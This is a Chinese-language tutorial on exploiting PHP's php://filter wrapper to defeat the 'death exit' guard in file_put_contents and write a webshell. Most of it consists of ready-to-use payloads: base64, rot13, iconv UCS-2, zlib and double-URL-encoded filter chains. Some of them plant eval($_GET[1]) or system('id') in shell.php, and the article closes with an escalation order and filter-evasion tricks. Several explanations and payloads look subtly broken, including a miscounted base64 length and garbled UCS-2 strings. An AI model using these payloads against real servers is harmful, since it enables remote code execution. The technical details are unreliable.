PHP Filter伪协议高级利用:突破死亡exit的七种武器

在CTF竞赛和实际渗透测试中,我们常常会遇到开发者使用 file_put_contents($filename, "<?php exit();".$content) 这样的防御代码。这种模式被称为"死亡exit",它像一堵墙挡在WebShell写入的路径上。本文将深入剖析七种突破这堵墙的技术手段,每种方法都配有可直接复现的Payload和原理解析。

1. 死亡exit防御机制解析

当开发者使用 file_put_contents 拼接用户可控内容时,典型的防御代码如下:

$content = $_GET['content']; // 用户可控输入
file_put_contents($filename, "<?php exit();".$content);

这段代码会在写入文件的开头插入 <?php exit(); ,使得后续注入的PHP代码无法执行。要突破这种防御,我们需要理解几个关键点:

  • PHP标签的闭合规则 <?php ?> 之间的内容会被解析为PHP代码
  • 过滤器的工作顺序 :多个过滤器会按从左到右的顺序依次处理数据流
  • 编码转换的特性 :某些编码转换会破坏原始PHP标签的结构

注意:所有实验应在授权环境下进行,本文示例仅供安全研究学习使用

2. Base64解码绕过法

Base64解码器会忽略非Base64字符,但要求输入长度是4的倍数。利用这一特性可以构造特殊Payload:

$filename = "php://filter/write=convert.base64-decode/resource=shell.php";
$content = "aPD9waHAgcGhwaW5mbygpOz8+"; // 补足长度后的base64编码

原理拆解

  1. 原始字符串: <?php exit();aPD9waHAgcGhwaW5mbygpOz8+
  2. Base64解码时, <?php exit();a 共13个字符,补3个字符使长度达到16(4的倍数)
  3. 解码后有效部分: <?php phpinfo();?>

适用场景

  • 目标服务器未过滤base64相关操作
  • 可控制完整的写入内容

3. ROT13编码转换技术

ROT13是一种字母替换加密,PHP内置支持这种转换:

$filename = "php://filter/write=string.rot13/resource=shell.php";
$content = "<?cuc cucvasb();?>"; // phpinfo();的ROT13编码

技术细节

  • ROT13会将 <?php exit(); 转换为 <?cuc rkvg();
  • 转换后的代码无法执行,而我们的Payload <?cuc cucvasb();?> 会被转换回有效的PHP代码

限制条件

  • 需要目标服务器支持短标签( <?
  • 不适用于严格过滤特殊字符的环境

4. 多层过滤器组合拳

通过组合多个过滤器可以创造更强大的绕过效果:

$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
$content = "?>PD9waHAgcGhwaW5mbygpOz8+";

执行流程

  1. strip_tags 移除所有PHP标签,将 <?php exit(); 变为纯文本
  2. base64-decode 处理时,纯文本被忽略,只解码有效Base64部分
  3. 最终写入内容: <?php phpinfo();?>

优势

  • 不依赖特定编码方式
  • 可绕过简单的关键词过滤

5. 字符编码转换技巧

利用UCS-2/UCS-4编码转换可以破坏原始exit结构:

编码类型 操作方式 示例Payload
UCS-2 每2字节反转一次 convert.iconv.UCS-2LE.UCS-2BE
UCS-4 每4字节反转一次 convert.iconv.UCS-4LE.UCS-4BE
// UCS-2示例
$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php";

技术原理

  • UCS-2将 <?php exit(); 转换为 hp?< xeip(t);> ,破坏原始结构
  • 需要精心构造Payload使其转换后形成有效PHP代码

6. 压缩过滤器妙用

zlib压缩过滤器组合可以创造神奇的绕过效果:

$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET[1]);?>/resource=shell.php';

处理过程

  1. zlib.deflate 压缩原始数据
  2. string.tolower 改变压缩数据特征
  3. zlib.inflate 解压时因数据损坏跳过原始exit部分
  4. 最终保留有效的PHP代码

适用场景

  • 其他简单过滤器被禁用时
  • 需要更隐蔽的绕过方式

7. URL编码双重绕过技术

当直接的关键词被过滤时,可以使用双重URL编码:

$content = "php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|?<hp phpipfn(o;)>?/resource=shell.php";

解码过程

  1. 第一次URL解码: %63%6f%6e%76%65%72%74%2e%69%63%6f%6e%76%2e%55%43%53%2d%32%4c%45%2e%55%43%53%2d%32%42%45 convert.iconv.UCS-2LE.UCS-2BE
  2. 第二次处理实际编码转换

防御对抗

  • 可绕过简单的关键词黑名单
  • 需要服务器支持多次URL解码

8. 实战中的组合策略

在实际渗透测试中,往往需要组合多种技术。以下是一个综合Payload示例:

$content = "php://filter/write=string.toupper|convert.iconv.UTF8.UTF16|string.rot13|convert.base64-decode/resource=?><?php system('id');?>";

策略选择矩阵

防御措施 推荐绕过方式 成功率
基础关键词过滤 双重URL编码
禁止编码转换 压缩过滤器组合
严格内容校验 多层过滤器+特殊字符
无特别防御 Base64或ROT13简单绕过 极高

在真实环境中,建议按照以下步骤测试:

  1. 先尝试简单的Base64绕过
  2. 测试ROT13等字符串过滤器
  3. 逐步升级到编码转换技术
  4. 最后尝试压缩过滤器等高级技巧

遇到过滤时,可以尝试以下变形:

  • php://filter 替换为 PHP://FiLtEr
  • 使用 /// 代替 / 的路径分隔符
  • 添加无意义的过滤器参数混淆视听

这些技术不仅适用于死亡exit绕过,在文件包含、任意文件读取等漏洞利用场景中同样有效。理解这些原理后,可以灵活组合创造出更多样的攻击方式

更多推荐